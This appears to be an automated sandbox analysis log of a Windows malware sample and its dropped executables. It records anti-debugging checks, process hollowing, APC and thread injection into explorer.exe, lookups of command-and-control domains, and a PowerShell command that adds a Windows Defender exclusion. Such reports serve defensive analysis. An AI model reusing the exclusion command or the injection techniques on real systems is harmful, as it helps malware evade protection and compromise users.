Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9D1C06 mov eax, dword ptr fs:[00000030h]	22_2_6A9D1C06
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9D1C06 mov eax, dword ptr fs:[00000030h]	22_2_6A9D1C06
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9D1C06 mov eax, dword ptr fs:[00000030h]	22_2_6A9D1C06
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9D1C06 mov eax, dword ptr fs:[00000030h]	22_2_6A9D1C06
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9D1C06 mov eax, dword ptr fs:[00000030h]	22_2_6A9D1C06
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9D1C06 mov eax, dword ptr fs:[00000030h]	22_2_6A9D1C06
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9D1C06 mov eax, dword ptr fs:[00000030h]	22_2_6A9D1C06
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9D1C06 mov eax, dword ptr fs:[00000030h]	22_2_6A9D1C06
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9D1C06 mov eax, dword ptr fs:[00000030h]	22_2_6A9D1C06
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9D1C06 mov eax, dword ptr fs:[00000030h]	22_2_6A9D1C06
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9D1C06 mov eax, dword ptr fs:[00000030h]	22_2_6A9D1C06
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9D1C06 mov eax, dword ptr fs:[00000030h]	22_2_6A9D1C06
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A914439 mov eax, dword ptr fs:[00000030h]	22_2_6A914439
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A94BC2C mov eax, dword ptr fs:[00000030h]	22_2_6A94BC2C
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9E8450 mov eax, dword ptr fs:[00000030h]	22_2_6A9E8450
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A955C70 mov eax, dword ptr fs:[00000030h]	22_2_6A955C70
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A92FC77 mov eax, dword ptr fs:[00000030h]	22_2_6A92FC77
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A92FC77 mov eax, dword ptr fs:[00000030h]	22_2_6A92FC77
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A92FC77 mov eax, dword ptr fs:[00000030h]	22_2_6A92FC77
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A92FC77 mov eax, dword ptr fs:[00000030h]	22_2_6A92FC77
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9E8C75 mov eax, dword ptr fs:[00000030h]	22_2_6A9E8C75
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A94AC7B mov eax, dword ptr fs:[00000030h]	22_2_6A94AC7B
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A94AC7B mov eax, dword ptr fs:[00000030h]	22_2_6A94AC7B
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A94AC7B mov eax, dword ptr fs:[00000030h]	22_2_6A94AC7B
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A94AC7B mov eax, dword ptr fs:[00000030h]	22_2_6A94AC7B
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A94AC7B mov eax, dword ptr fs:[00000030h]	22_2_6A94AC7B
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A94AC7B mov eax, dword ptr fs:[00000030h]	22_2_6A94AC7B
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A94AC7B mov eax, dword ptr fs:[00000030h]	22_2_6A94AC7B
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A94AC7B mov eax, dword ptr fs:[00000030h]	22_2_6A94AC7B
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A94AC7B mov eax, dword ptr fs:[00000030h]	22_2_6A94AC7B
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A94AC7B mov eax, dword ptr fs:[00000030h]	22_2_6A94AC7B
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A94AC7B mov eax, dword ptr fs:[00000030h]	22_2_6A94AC7B
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A93746D mov eax, dword ptr fs:[00000030h]	22_2_6A93746D
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A913591 mov eax, dword ptr fs:[00000030h]	22_2_6A913591
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9DB581 mov eax, dword ptr fs:[00000030h]	22_2_6A9DB581
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9DB581 mov eax, dword ptr fs:[00000030h]	22_2_6A9DB581
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9DB581 mov eax, dword ptr fs:[00000030h]	22_2_6A9DB581
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9DB581 mov eax, dword ptr fs:[00000030h]	22_2_6A9DB581
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A941DB5 mov eax, dword ptr fs:[00000030h]	22_2_6A941DB5
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A941DB5 mov eax, dword ptr fs:[00000030h]	22_2_6A941DB5
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A941DB5 mov eax, dword ptr fs:[00000030h]	22_2_6A941DB5
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9435A1 mov eax, dword ptr fs:[00000030h]	22_2_6A9435A1
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9CFDD3 mov eax, dword ptr fs:[00000030h]	22_2_6A9CFDD3
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9115C1 mov eax, dword ptr fs:[00000030h]	22_2_6A9115C1
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9195F0 mov eax, dword ptr fs:[00000030h]	22_2_6A9195F0
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9195F0 mov ecx, dword ptr fs:[00000030h]	22_2_6A9195F0
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9C8DF1 mov eax, dword ptr fs:[00000030h]	22_2_6A9C8DF1
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9495EC mov eax, dword ptr fs:[00000030h]	22_2_6A9495EC
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9D3518 mov eax, dword ptr fs:[00000030h]	22_2_6A9D3518
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9D3518 mov eax, dword ptr fs:[00000030h]	22_2_6A9D3518
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9D3518 mov eax, dword ptr fs:[00000030h]	22_2_6A9D3518
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A91F51D mov eax, dword ptr fs:[00000030h]	22_2_6A91F51D
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A91AD30 mov eax, dword ptr fs:[00000030h]	22_2_6A91AD30
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9E8D34 mov eax, dword ptr fs:[00000030h]	22_2_6A9E8D34
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A944D3B mov eax, dword ptr fs:[00000030h]	22_2_6A944D3B
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A944D3B mov eax, dword ptr fs:[00000030h]	22_2_6A944D3B
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A944D3B mov eax, dword ptr fs:[00000030h]	22_2_6A944D3B
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A941520 mov eax, dword ptr fs:[00000030h]	22_2_6A941520
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A941520 mov eax, dword ptr fs:[00000030h]	22_2_6A941520
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A941520 mov eax, dword ptr fs:[00000030h]	22_2_6A941520
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A941520 mov eax, dword ptr fs:[00000030h]	22_2_6A941520
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A941520 mov eax, dword ptr fs:[00000030h]	22_2_6A941520
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A937D50 mov eax, dword ptr fs:[00000030h]	22_2_6A937D50
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9C8D47 mov eax, dword ptr fs:[00000030h]	22_2_6A9C8D47
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9C3D40 mov eax, dword ptr fs:[00000030h]	22_2_6A9C3D40
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A91354C mov eax, dword ptr fs:[00000030h]	22_2_6A91354C
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A91354C mov eax, dword ptr fs:[00000030h]	22_2_6A91354C
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A93C577 mov eax, dword ptr fs:[00000030h]	22_2_6A93C577
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A93C577 mov eax, dword ptr fs:[00000030h]	22_2_6A93C577
Source: C:\Users\user\AppData\Local\Temp\DF9C.exe	Code function: 29_2_00416842 mov eax, dword ptr fs:[00000030h]	29_2_00416842
Source: C:\Users\user\AppData\Local\Temp\DF9C.exe	Code function: 29_2_00412AB1 mov eax, dword ptr fs:[00000030h]	29_2_00412AB1

Source: C:\Users\user\Desktop\25Kf6vSBoq.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6EC5.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F4BC.exe	Process queried: DebugPort

Source: C:\Users\user\Desktop\25Kf6vSBoq.exe

Code function: 1_2_0041CC60 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

1_2_0041CC60

Source: C:\Users\user\AppData\Local\Temp\DF9C.exe

Code function: 29_2_00401F20 GetUserNameW,GetUserNameW,GetProcessHeap,GetProcessHeap,HeapAlloc,GetUserNameW,LookupAccountNameW,GetProcessHeap,HeapAlloc,GetProcessHeap,HeapAlloc,LookupAccountNameW,ConvertSidToStringSidW,GetProcessHeap,HeapFree,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,LocalFree,

29_2_00401F20

Source: C:\Users\user\AppData\Local\Temp\CD0D.exe

Code function: 22_2_6A946B90 rdtsc

22_2_6A946B90

Source: C:\Users\user\AppData\Local\Temp\B82B.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C1B2.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DF9C.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EA8A.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\4c8d4506-0afb-4e86-ac6e-de7136a784d5\AdvancedRun.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\6EC5.exe

Code function: 15_1_004026C8 LdrLoadDll,

15_1_004026C8

Source: C:\Users\user\AppData\Local\Temp\B82B.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\25Kf6vSBoq.exe	Code function: 1_2_0041CC60 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_0041CC60
Source: C:\Users\user\Desktop\25Kf6vSBoq.exe	Code function: 1_2_004203D0 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	1_2_004203D0
Source: C:\Users\user\AppData\Local\Temp\DF9C.exe	Code function: 29_2_00410E58 SetUnhandledExceptionFilter,	29_2_00410E58
Source: C:\Users\user\AppData\Local\Temp\DF9C.exe	Code function: 29_2_004110A3 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	29_2_004110A3
Source: C:\Users\user\AppData\Local\Temp\DF9C.exe	Code function: 29_2_00415393 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	29_2_00415393
Source: C:\Users\user\AppData\Local\Temp\DF9C.exe	Code function: 29_2_00410CF3 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	29_2_00410CF3

HIPS / PFW / Operating System Protection Evasion:

Early bird code injection technique detected

Show sources

Source: C:\Users\user\AppData\Local\Temp\DF9C.exe

Process created / APC Queued / Resumed: C:\Users\user\AppData\Local\Temp\DF9C.exe

Jump to behavior

System process connects to network (likely due to code injection or exploit)

Show sources

Source: C:\Windows\explorer.exe	Domain query: xacokuo8.top
Source: C:\Windows\explorer.exe	Network Connect: 216.128.137.31 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: privacytoolzforyou-6000.top
Source: C:\Windows\explorer.exe	Domain query: hajezey1.top
Source: C:\Windows\explorer.exe	Domain query: sysaheu90.top

Benign windows process drops PE files

Show sources

Source: C:\Windows\explorer.exe

File created: ffjbuft.4.dr

Jump to dropped file

Maps a DLL or memory area into another process

Show sources

Source: C:\Users\user\Desktop\25Kf6vSBoq.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\Desktop\25Kf6vSBoq.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6EC5.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6EC5.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F4BC.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write
Source: C:\Users\user\AppData\Local\Temp\F4BC.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read

Allocates memory in foreign processes

Show sources

Source: C:\Users\user\AppData\Local\Temp\B82B.exe

Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ServiceModelReg.exe base: 400000 protect: page execute and read and write

Jump to behavior

Injects a PE file into a foreign processes

Show sources

Source: C:\Users\user\AppData\Local\Temp\6EC5.exe	Memory written: C:\Users\user\AppData\Local\Temp\6EC5.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B82B.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ServiceModelReg.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DF9C.exe	Memory written: C:\Users\user\AppData\Local\Temp\DF9C.exe base: 400000 value starts with: 4D5A	Jump to behavior

Contains functionality to inject code into remote processes

Show sources

Source: C:\Users\user\AppData\Local\Temp\6EC5.exe

Code function: 13_2_02C30110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,SetThreadContext,ResumeThread,ExitProcess,

13_2_02C30110

Creates a thread in another existing process (thread injection)

Show sources

Source: C:\Users\user\Desktop\25Kf6vSBoq.exe	Thread created: C:\Windows\explorer.exe EIP: 2871920	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6EC5.exe	Thread created: unknown EIP: 4EC1920	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Thread created: unknown EIP: 85F19C0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F4BC.exe	Thread created: unknown EIP: 7E21920

Adds a directory exclusion to Windows Defender

Show sources

Source: C:\Users\user\AppData\Local\Temp\B82B.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user~1\AppData\Local\Temp\B82B.exe' -Force
Source: C:\Users\user\AppData\Local\Temp\B82B.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user~1\AppData\Local\Temp\B82B.exe' -Force			Jump to behavior

Sample uses process hollowing technique

Show sources

Source: C:\Users\user\AppData\Local\Temp\B82B.exe

Section unmapped: C:\Users\user\AppData\Local\Temp\6EC5.exe base address: 400000

Jump to behavior

Writes to foreign memory regions

Show sources

Source: C:\Users\user\AppData\Local\Temp\B82B.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ServiceModelReg.exe base: 400000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B82B.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ServiceModelReg.exe base: 402000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B82B.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ServiceModelReg.exe base: 41C000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B82B.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ServiceModelReg.exe base: 41E000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B82B.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ServiceModelReg.exe base: 48D7008	Jump to behavior

Queues an APC in another process (thread injection)

Show sources

Source: C:\Users\user\AppData\Local\Temp\DF9C.exe

Thread APC queued: target process: C:\Users\user\AppData\Local\Temp\DF9C.exe

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\B82B.exe	Process created: C:\Users\user\AppData\Local\Temp\4c8d4506-0afb-4e86-ac6e-de7136a784d5\AdvancedRun.exe 'C:\Users\user\AppData\Local\Temp\4c8d4506-0afb-4e86-ac6e-de7136a784d5\AdvancedRun.exe' /EXEFilename 'C:\Users\user\AppData\Local\Temp\4c8d4506-0afb-4e86-ac6e-de7136a784d5\test.bat' /WindowState ''0'' /PriorityClass ''32'' /CommandLine '' /StartDirectory '' /RunAs 8 /Run
Source: C:\Users\user\AppData\Local\Temp\EA8A.exe	Process created: C:\Users\user\AppData\Local\Temp\65199d6b-dd97-46fe-8553-5c4399d816a6\AdvancedRun.exe 'C:\Users\user\AppData\Local\Temp\65199d6b-dd97-46fe-8553-5c4399d816a6\AdvancedRun.exe' /EXEFilename 'C:\Users\user\AppData\Local\Temp\65199d6b-dd97-46fe-8553-5c4399d816a6\test.bat' /WindowState ''0'' /PriorityClass ''32'' /CommandLine '' /StartDirectory '' /RunAs 8 /Run
Source: C:\Users\user\AppData\Local\Temp\B82B.exe	Process created: C:\Users\user\AppData\Local\Temp\4c8d4506-0afb-4e86-ac6e-de7136a784d5\AdvancedRun.exe 'C:\Users\user\AppData\Local\Temp\4c8d4506-0afb-4e86-ac6e-de7136a784d5\AdvancedRun.exe' /EXEFilename 'C:\Users\user\AppData\Local\Temp\4c8d4506-0afb-4e86-ac6e-de7136a784d5\test.bat' /WindowState ''0'' /PriorityClass ''32'' /CommandLine '' /StartDirectory '' /RunAs 8 /Run	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EA8A.exe	Process created: C:\Users\user\AppData\Local\Temp\65199d6b-dd97-46fe-8553-5c4399d816a6\AdvancedRun.exe 'C:\Users\user\AppData\Local\Temp\65199d6b-dd97-46fe-8553-5c4399d816a6\AdvancedRun.exe' /EXEFilename 'C:\Users\user\AppData\Local\Temp\65199d6b-dd97-46fe-8553-5c4399d816a6\test.bat' /WindowState ''0'' /PriorityClass ''32'' /CommandLine '' /StartDirectory '' /RunAs 8 /Run

Source: C:\Users\user\Desktop\25Kf6vSBoq.exe	Process created: C:\Users\user\Desktop\25Kf6vSBoq.exe 'C:\Users\user\Desktop\25Kf6vSBoq.exe'	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6EC5.exe	Process created: C:\Users\user\AppData\Local\Temp\6EC5.exe C:\Users\user~1\AppData\Local\Temp\6EC5.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\irjbuft	Process created: C:\Users\user\AppData\Roaming\irjbuft C:\Users\user\AppData\Roaming\irjbuft	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B82B.exe	Process created: C:\Users\user\AppData\Local\Temp\4c8d4506-0afb-4e86-ac6e-de7136a784d5\AdvancedRun.exe 'C:\Users\user\AppData\Local\Temp\4c8d4506-0afb-4e86-ac6e-de7136a784d5\AdvancedRun.exe' /EXEFilename 'C:\Users\user\AppData\Local\Temp\4c8d4506-0afb-4e86-ac6e-de7136a784d5\test.bat' /WindowState ''0'' /PriorityClass ''32'' /CommandLine '' /StartDirectory '' /RunAs 8 /Run	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B82B.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user~1\AppData\Local\Temp\B82B.exe' -Force	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B82B.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ServiceModelReg.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\ServiceModelReg.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DF9C.exe	Process created: C:\Users\user\AppData\Local\Temp\DF9C.exe DF9C.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EA8A.exe	Process created: C:\Users\user\AppData\Local\Temp\65199d6b-dd97-46fe-8553-5c4399d816a6\AdvancedRun.exe 'C:\Users\user\AppData\Local\Temp\65199d6b-dd97-46fe-8553-5c4399d816a6\AdvancedRun.exe' /EXEFilename 'C:\Users\user\AppData\Local\Temp\65199d6b-dd97-46fe-8553-5c4399d816a6\test.bat' /WindowState ''0'' /PriorityClass ''32'' /CommandLine '' /StartDirectory '' /RunAs 8 /Run
Source: C:\Users\user\AppData\Local\Temp\4c8d4506-0afb-4e86-ac6e-de7136a784d5\AdvancedRun.exe	Process created: C:\Users\user\AppData\Local\Temp\4c8d4506-0afb-4e86-ac6e-de7136a784d5\AdvancedRun.exe 'C:\Users\user\AppData\Local\Temp\4c8d4506-0afb-4e86-ac6e-de7136a784d5\AdvancedRun.exe' /SpecialRun 4101d8 6864
Source: C:\Users\user\AppData\Local\Temp\DF9C.exe	Process created: C:\Users\user\AppData\Local\Temp\603c0340b4\sqtvvs.exe 'C:\Users\user~1\AppData\Local\Temp\603c0340b4\sqtvvs.exe'

Source: C:\Users\user\AppData\Local\Temp\4c8d4506-0afb-4e86-ac6e-de7136a784d5\AdvancedRun.exe

Code function: 27_2_00401C26 GetCurrentProcessId,memset,memset,_snwprintf,memset,ShellExecuteExW,WaitForSingleObject,GetExitCodeProcess,GetLastError,

27_2_00401C26

Source: C:\Users\user\AppData\Local\Temp\CD0D.exe

Code function: 22_2_6A94E730 RtlDecodePointer,ZwQueryInformationProcess,RtlRaiseStatus,RtlAllocateAndInitializeSid,RtlAllocateHeap,RtlAllocateAndInitializeSid,RtlAllocateAndInitializeSid,RtlAllocateAndInitializeSid,

22_2_6A94E730

Source: explorer.exe, 00000004.00000000.269132746.0000000001400000.00000002.00020000.sdmp	Binary or memory string: uProgram Manager
Source: explorer.exe, 00000004.00000000.287776975.0000000005F40000.00000004.00000001.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000004.00000000.269132746.0000000001400000.00000002.00020000.sdmp	Binary or memory string: Progman
Source: explorer.exe, 00000004.00000000.269132746.0000000001400000.00000002.00020000.sdmp	Binary or memory string: Progmanlock
Source: explorer.exe, 00000004.00000000.296208877.0000000000EB8000.00000004.00000020.sdmp	Binary or memory string: ProgmanX
Source: explorer.exe, 00000004.00000000.304691629.0000000008ACF000.00000004.00000001.sdmp	Binary or memory string: Shell_TrayWndAj

Source: C:\Users\user\AppData\Local\Temp\B82B.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\B82B.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B82B.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B82B.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C1B2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\C1B2.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C1B2.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C1B2.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C1B2.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C1B2.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C1B2.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C1B2.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C1B2.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C1B2.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DF9C.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\DF9C.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DF9C.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EA8A.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\EA8A.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EA8A.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EA8A.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation

Source: C:\Users\user\AppData\Local\Temp\DF9C.exe

Code function: 29_2_00410B13 cpuid

29_2_00410B13

Source: C:\Windows\explorer.exe

